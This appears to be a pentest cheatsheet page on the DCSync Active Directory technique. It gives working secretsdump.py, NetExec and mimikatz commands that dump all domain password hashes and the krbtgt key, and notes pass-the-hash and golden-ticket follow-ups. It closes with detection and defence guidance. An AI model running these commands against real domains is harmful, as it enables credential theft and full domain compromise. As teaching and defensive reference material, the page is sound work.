the_open_door
coffee
ESEN
← Back to index

DCSync

ATT&CKT1003.006
Full command arsenal in the cheatsheet

DCSync abuses Active Directory replication to pull secrets straight from a Domain Controller, without running any code on it. It is the usual capstone of an AD chain: once you earn the replication rights, you dump the hashes of the whole domain.

Why it works. Domain Controllers replicate directory data between each other with the DRS replication protocol. Any account granted the DS-Replication-Get-Changes (GetChanges) and DS-Replication-Get-Changes-All (GetChangesAll) extended rights can ask a DC to replicate account data, including the NT hashes of every user and the krbtgt key. Those two rights are ACEs on the domain object, so DCSync is reached by chaining ACL abuse (for example a GenericAll over the domain), and BloodHound draws the DCSync edge directly.

The abuse. Tools like Impacket's secretsdump.py or Mimikatz lsadump::dcsync request the replication and dump the hashes. You can go for the whole domain or for a single account:

From Linux with impacket, depending on the credential you hold and what you want to dump:

secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc                 # all hashes + krbtgt
secretsdump.py <domain>/<user>@<dc-ip> -hashes :<nt-hash> -just-dc     # with pass-the-hash
secretsdump.py -k -no-pass <domain>/<user>@<dc-fqdn> -just-dc          # with a TGT (KRB5CCNAME)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-ntlm            # NTLM only (faster)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-user krbtgt     # krbtgt only (the jewel)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-user Administrator   # a single account (stealthier)

With NetExec in one line (saves the dump in its workspace):

netexec smb <dc-ip> -u <user> -p <pass> --ntds
netexec smb <dc-ip> -u <user> -H <nt-hash> -M ntdsutil

From a domain-joined Windows box, with mimikatz (no disk access on the DC):

lsadump::dcsync /domain:<domain> /all /csv
lsadump::dcsync /domain:<domain> /user:krbtgt
lsadump::dcsync /domain:<domain> /user:Administrator

Verification. You validate a dumped hash by using it: a Pass-the-Hash with the Administrator hash that pops a shell confirms the dump is good. The krbtgt hash is the crown jewel, because it lets you forge tickets (Golden Ticket) and persist in the domain indefinitely.

Nuance. You need both rights: GetChanges alone does not hand over the secrets, GetChangesAll is what adds them. By default Domain Admins, Enterprise Admins and the DCs themselves hold them, so DCSync is usually the end of the escalation, not the start. It is not code execution on the DC: it leaves no logon (4624) there, which is why it is so stealthy, but it does generate object access (4662).

How to detect it. Replication leaves an Event ID 4662 (an operation was performed on an object) on the DC whose Properties field contains the extended-right GUIDs 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (GetChanges) and 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (GetChangesAll). The signal is that this access comes from a principal that is not a DC: controllers replicate with each other constantly, so the allowlist of DC machine accounts is short and everything else is suspicious. On the wire, the DRSUAPI DRSGetNCChanges RPC call from a non-DC host (visible in Zeek or a traffic monitor) is the same event seen from the network. It requires directory object access to be audited (a SACL on the domain object).

Defence. Audit who holds the DS-Replication-Get-Changes* extended rights over the domain and keep them off normal accounts: they should only ever land on the DCs themselves and on explicit directory-administration accounts.

Toolssecretsdump.pyBloodHound

Machines where it's used